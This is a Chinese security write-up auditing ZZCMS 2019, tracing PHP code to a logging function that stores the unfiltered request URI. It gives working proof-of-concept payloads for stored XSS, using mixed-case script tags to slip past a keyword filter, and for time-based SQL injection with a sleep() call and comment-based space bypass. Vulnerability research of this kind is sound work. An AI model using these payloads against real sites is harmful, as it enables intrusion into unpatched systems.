前言
这套CMS被大手子们审计烂了。。。我这个菜鸡只能抢口剩汤喝喝。。
存储型XSS
这套CMS搭建完成后是这样的
先从功能点入手,注册个账号,看看有什么权限
用户中心显示的功能比较少,但是目录已经出来了domain/user/
进目录看看文件,其中ask.php
这个文件引起了我的注意
直接访问看看
哦豁?空的?眉头一皱发现没那么简单
就从这个文件开始入手
首先在48行左右发现了GET
传递的do
参数
<?php
$do=isset($_GET['do'])?$_GET['do']:'';
switch ($do){
case "add";add();break;
case "modify";modify();break;
}
分别看下两个函数干了什么
//add函数
function add(){
$tablename="zzcms_ask";
include("checkaddinfo.php");
?>
<div class="admintitle">发布问答信息</div>
<form action="?do=save" method="post" name="myform" id="myform" onSubmit="return CheckForm();">
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td width="18%" align="right" class="border2">类别<font color="#FF0000">(必填)</font>:</td>
<td width="82%" class="border2">
<?php
$sql = "select * from zzcms_askclass where parentid<>0 order by xuhao asc";
$rs=query($sql);
?>
<script language = "JavaScript" type="text/JavaScript">
var onecount;
subcat = new Array();
<?php
$count = 0;
while($row = fetch_array($rs)){
?>
subcat[<?php echo $count?>] = new Array("<?php echo trim($row["classname"])?>","<?php echo trim($row["parentid"])?>","<?php echo trim($row["classid"])?>");
<?php
$count = $count + 1;
}
?>
onecount=<?php echo $count ?>;
function changelocation(locationid){
document.myform.smallclassid.length = 1;
for (i=0;i < onecount; i++){
if (subcat[i][1] == locationid){
document.myform.smallclassid.options[document.myform.smallclassid.length] = new Option(subcat[i][0], subcat[i][2]);
}
}
}</script>
<select name="bigclassid" class="biaodan" onChange="changelocation(document.myform.bigclassid.options[document.myform.bigclassid.selectedIndex].value)" size="1">
<option value="" selected="selected">请选择大类别 </option>
<?php
$sql = "select * from zzcms_askclass where parentid=0 order by xuhao asc";
$rs=query($sql);
while($row = fetch_array($rs)){
?>
<option value="<?php echo $row["classid"]?>"><?php echo $row["classname"]?></option>
<?php
}
?>
</select>
<select name="smallclassid" class="biaodan">
<option value="0">不指定小类</option>
</select></td>
</tr>
<tr>
<td align="right" class="border">标题<font color="#FF0000">(必填)</font>:</td>
<td class="border">
<input name="title" type="text" id="title" size="50" maxlength="255" class="biaodan">
<span id="quote"></span>
</td>
</tr>
<tr id="trcontent">
<td align="right" class="border2" >内容<font color="#FF0000">(必填)</font>:</td>
<td class="border2" > <textarea name="content" id="content"></textarea>
<script type="text/javascript">CKEDITOR.replace('content');</script></td>
</tr>
<tr id="trkeywords">
<td align="right" class="border" >悬赏积分:</td>
<td class="border" ><select name="jifen" id="jifen">
<option value="0" selected="selected">0</option>
<option value="5">5</option>
<option value="10">10</option>
<option value="20">20</option>
<option value="30">30</option>
</select>
<?php
$rs=query("select totleRMB from zzcms_user where username='" .$_COOKIE["UserName"]. "'");
$row=fetch_array($rs);
echo "您的积分:".$row['totleRMB'];
?> </td>
</tr>
<tr>
<td align="right" class="border"> </td>
<td class="border"> <input name="Submit" type="submit" class="buttons" value="发布">
<input name="action" type="hidden" value="add"></td>
</tr>
</table>
</form>
<?php
}
简单看了下没多大问题,再来看看第二个函数
//modify函数
function modify(){
global $username;
?>
<div class="admintitle">修改问答信息</div>
<?php
$page = isset($_GET['page'])?$_GET['page']:1;
checkid($page);
$id = isset($_GET['id'])?$_GET['id']:0;
checkid($id,1);
$sqlzx="select * from zzcms_ask where id='$id'";
$rszx =query($sqlzx);
$rowzx = fetch_array($rszx);
if ($id<>0 && $rowzx["editor"]<>$username) {
markit();
showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
}
?>
.......省略
首先获取了下page
和id
并使用checkid
函数进行了检查,虽然下面有拼接SQL语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit();
函数,并且返回警告信息
另外注意到在showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
这行上面调用了markit()
这个函数,跟进去看看
在inc\function.php
的138行左右
//$_SERVER['HTTP_REFERER'];//上页来源
function markit()
{
$userip = $_SERVER["REMOTE_ADDR"];
//$userip=getip();
$url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
query("insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')");
}
//$url为当前页的URI(URL+参数),这个可控
//$_COOKIE["UserName"]为cookies中的用户名,
拼接了SQL语句,并且没有过滤,总结下目前情况
- 首先获取了下
page
和id
并使用checkid
函数进行了检查,虽然下面有拼接SQL
语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit()
函数,并且返回警告信息。 - 要触发
markit()
函数需要满足条件如下do
参数为modify
page
参数不能为你发布的且为数字id
参数同上
另外还需要注意在全局过滤函数中有这么一行
<?php
//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}
那么构造payload
如下domain/user/ask.php?do=modify&page=1&id=1&aaa=<ScriPt>alert(/xss/)</ScRiPt>
然后使用burpsuite
发包
可以看到触发了警告信息
当管理员查看不良操作时,熟悉的弹框就出来了
SQL注入
还是markit()
函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?
先看看这个query
函数怎么执行的
可以看到直接带入mysqli_query
,那么尝试构造下payload
吧
原始SQL语句
insert into zzcms_bad (username,ip,dose,sendtime)
values
('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')
既然只有$url
可控,那么直接构造传入的URI就可以了,先直接让数据库执行sleep()
函数
insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');#
OK 成功,那么直接构造就行了
GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1
结果发现并没有执行
在函数中dump下$url
看看原因
发现被url中的空格截断了
那么直接用注释/**/
替换
成功睡眠5秒,证明存在SQL注入。